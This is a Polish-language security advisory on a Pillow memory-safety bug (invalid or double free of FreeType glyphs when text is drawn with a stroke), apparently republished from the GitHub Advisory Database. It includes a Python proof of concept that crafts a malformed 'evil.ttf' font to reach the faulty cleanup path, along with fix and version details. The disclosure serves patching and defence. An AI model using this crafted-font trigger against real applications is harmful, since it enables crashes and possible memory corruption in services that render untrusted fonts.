Pillow: Nieprawidłowe zwolnienie pamięci podczas renderowania glifów FreeType przy aktywnym obrysie
Podsumowanie
Gdy tekst jest rysowany z niezerową szerokością obrysu, Pillow tworzy obiekt strokera FreeType, a następnie wczytuje każdy glif. Jeśli FT_Load_Glyph zakończy się niepowodzeniem dla danego glifu, ścieżka czyszczenia wywołuje FT_Done_Glyph na zmiennej glyph. Zmienna ta nie jest inicjalizowana przed pierwszą pętlą pomiarową, a w pętli renderowania nie jest resetowana do NULL po zwolnieniu każdego glifu. Nieprawidłowo sformatowana czcionka załadowana z niezaufanych bajtów może wymusić błąd wczytywania i doprowadzić do tego zwolnienia pamięci. Jest to uśpiony błąd bezpieczeństwa pamięci; to, czy nastąpi awaria programu, zależy od wartości w niezainicjalizowanym lub nieaktualnym wskaźniku.
Szczegóły
glyph jest deklarowane bez inicjalizatora NULL:
src/_imagingft.c:848
Pierwsza pętla pomiarowa może przeskoczyć do glyph_error, zanim glyph zostanie kiedykolwiek przypisane:
src/_imagingft.c:1010-1013
W pętli renderowania glif jest zwalniany na końcu każdej iteracji i nie jest ustawiany z powrotem na NULL:
src/_imagingft.c:1242
Czyszczenie zwalnia go za każdym razem, gdy istnieje stroker:
src/_imagingft.c:1253-1256
ImageFont.truetype akceptuje obiekt pliku lub bajty, więc czcionka może zostać dostarczona przez atakującego.
PoC
Wymaga to fontTools oraz dowolnego bazowego pliku TTF (w przykładzie użyto pliku dołączonego do testów Pillow). Nadpisuje on glif „A”, deklarując 5000 konturów w ciele glifu, które jest dla nich zbyt krótkie, przez co FT_Load_Glyph zwraca błąd, chociaż sam krój czcionki nadal się otwiera.
import struct
from fontTools.ttLib import TTFont
from PIL import Image, ImageFont, ImageDraw
SRC = "Tests/fonts/FreeMono.ttf" # any TTF works as a base
tt = TTFont(SRC)
gid = tt.getGlyphID(tt.getBestCmap()[ord("A")])
loca_long = tt["head"].indexToLocFormat
tt.close()
raw = bytearray(open(SRC, "rb").read())
nt = struct.unpack(">H", raw[4:6])[0]
tbl = {}
for i in range(nt):
rec = 12 + i * 16
tag = bytes(raw[rec:rec+4]).decode("latin-1")
off, length = struct.unpack(">II", raw[rec+8:rec+16])
tbl[tag] = (off, length)
glyf_off = tbl["glyf"][0]; loca_off = tbl["loca"][0]
if loca_long:
o0 = struct.unpack_from(">I", raw, loca_off + 4*gid)[0]
else:
o0 = struct.unpack_from(">H", raw, loca_off + 2*gid)[0] * 2
struct.pack_into(">h", raw, glyf_off + o0, 5000) # numberOfContours = 5000
open("evil.ttf", "wb").write(raw)
f = ImageFont.truetype("evil.ttf", 20) # face opens
d = ImageDraw.Draw(Image.new("RGB", (64, 64)))
d.text((0, 0), "A", font=f, stroke_width=2) # load error -> FT_Done_Glyph on bad pointer
Wynik na wskazanej kompilacji: FT_Load_Glyph zwraca błąd, a wykonanie dociera do procedury czyszczącej glyph_error, która wywołuje FT_Done_Glyph(glyph) (wtyczka zgłasza OSError: invalid outline).
Wpływ
Aplikacje rysujące tekst za pomocą stroke_width != 0 przy użyciu czcionek załadowanych z niezaufanych bajtów mogą napotkać błąd nieprawidłowego lub podwójnego zwolnienia pamięci (double free). Właściwa poprawka polega na zainicjalizowaniu glyph = NULL i ustawianiu go z powrotem na NULL po każdym FT_Done_Glyph.
Co trzeba zrobić
Zaktualizuj bibliotekę Pillow do wersji 13.0.0 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | pillow | >= 10.0.0, < 13.0.0 | 13.0.0 |
Odnośniki
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-j4m9-6w36-pw47
- https://nvd.nist.gov/vuln/detail/CVE-2026-112893
- https://github.com/python-pillow/Pillow/commit/a7416de7f3a43128179d2cf68df3240ea8dafe13
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Słabość (CWE)
CWE-457, CWE-763- Platforma
- Python (PyPI)
- Paczka
pillow- Ujawniono
- 21.10.2026
- Aktualizacja
- 22.10.2026 00:04
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-j4m9-6w36-pw47 - CC BY 4.0
Historia podatności: pillow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 89
- Pierwsza → ostatnia
- 04.2014 10.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 1
Rozkład istotności
- Krytyczna 12
- Wysoka 57
- Średnia 18
- Niska 1
- Nieoceniona 1
Ujawnienia w latach
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 31
wcześniej: 12
-
Pillow: Nieprawidłowe zwolnienie pamięci podczas renderowania glifów FreeType przy aktywnym obrysie ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.